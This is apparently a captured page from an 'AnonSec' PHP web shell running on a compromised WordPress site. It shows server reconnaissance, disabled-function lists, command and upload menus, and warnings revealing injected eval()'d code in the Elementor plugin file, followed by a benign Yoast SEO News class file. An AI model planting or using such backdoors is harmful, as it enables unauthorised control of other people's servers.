AnonSec Team
Server IP : 172.19.0.4  /  Your IP : 216.73.216.172
Web Server : nginx/1.28.3
System : Linux VM-0-4-debian 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/data1/wwwroot/sc-forklift.com/:/tmp/) in /data1/wwwroot/sc-forklift.com/wp-content/plugins/elementor/elementor.php(1) : eval()'d code on line 329
OFF  |  Perl :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/data1/wwwroot/sc-forklift.com/:/tmp/) in /data1/wwwroot/sc-forklift.com/wp-content/plugins/elementor/elementor.php(1) : eval()'d code on line 335
OFF  |  Python :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/data1/wwwroot/sc-forklift.com/:/tmp/) in /data1/wwwroot/sc-forklift.com/wp-content/plugins/elementor/elementor.php(1) : eval()'d code on line 341
OFF
Directory (0755) :  /data1/wwwroot/sc-forklift.com/wp-content/plugins/wpseo-news/classes/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /data1/wwwroot/sc-forklift.com/wp-content/plugins/wpseo-news/classes/excludable-taxonomies.php
<?php
/**
 * Yoast SEO: News plugin file.
 *
 * @package WPSEO_News
 */

/**
 * Class representing the excludable taxonomies for a certain post type.
 */
class WPSEO_News_Excludable_Taxonomies {

	/**
	 * The post type.
	 *
	 * @var string
	 */
	protected $post_type;

	/**
	 * Setting properties.
	 *
	 * @param string $post_type The post type.
	 */
	public function __construct( $post_type ) {
		$this->post_type = $post_type;
	}

	/**
	 * Gets a list of taxonomies of which posts with terms of this taxonomy can be excluded from the sitemap.
	 *
	 * @return array Taxonomies of which posts with terms of this taxonomy can be excluded from the sitemap.
	 */
	public function get() {
		$taxonomies = get_object_taxonomies( $this->post_type, 'objects' );

		return array_filter( $taxonomies, [ $this, 'filter_taxonomies' ] );
	}

	/**
	 * Retrieves the terms that belong to the taxonomy.
	 *
	 * @return array
	 */
	public function get_terms() {
		$taxonomies     = $this->get();
		$taxonomy_terms = array_map( [ $this, 'get_terms_for_taxonomy' ], $taxonomies );

		return array_filter( $taxonomy_terms );
	}

	/**
	 * Filter to check whether a taxonomy is shown in the WordPress ui.
	 *
	 * @param WP_Taxonomy $taxonomy The taxonomy to filter.
	 *
	 * @return bool Whether or not the taxonomy is hidden in the WordPress ui.
	 */
	protected function filter_taxonomies( WP_Taxonomy $taxonomy ) {
		return $taxonomy->show_ui === true;
	}

	/**
	 * Gets a list of terms for the given taxonomy, and returns them along with the taxonomy in an array.
	 *
	 * @param WP_Taxonomy $taxonomy The taxonomy to get the terms for.
	 *
	 * @return array|null An array containing both the taxonomy and its terms or null
	 *                    if no terms are associated with the taxonomy.
	 */
	protected function get_terms_for_taxonomy( $taxonomy ) {
		$terms = get_terms(
			[
				'taxonomy'   => $taxonomy->name,
				'hide_empty' => false,
				'show_ui'    => true,
			]
		);

		if ( count( $terms ) === 0 ) {
			return null;
		}

		return [
			'taxonomy' => $taxonomy,
			'terms'    => $terms,
		];
	}
}

AnonSec - 2021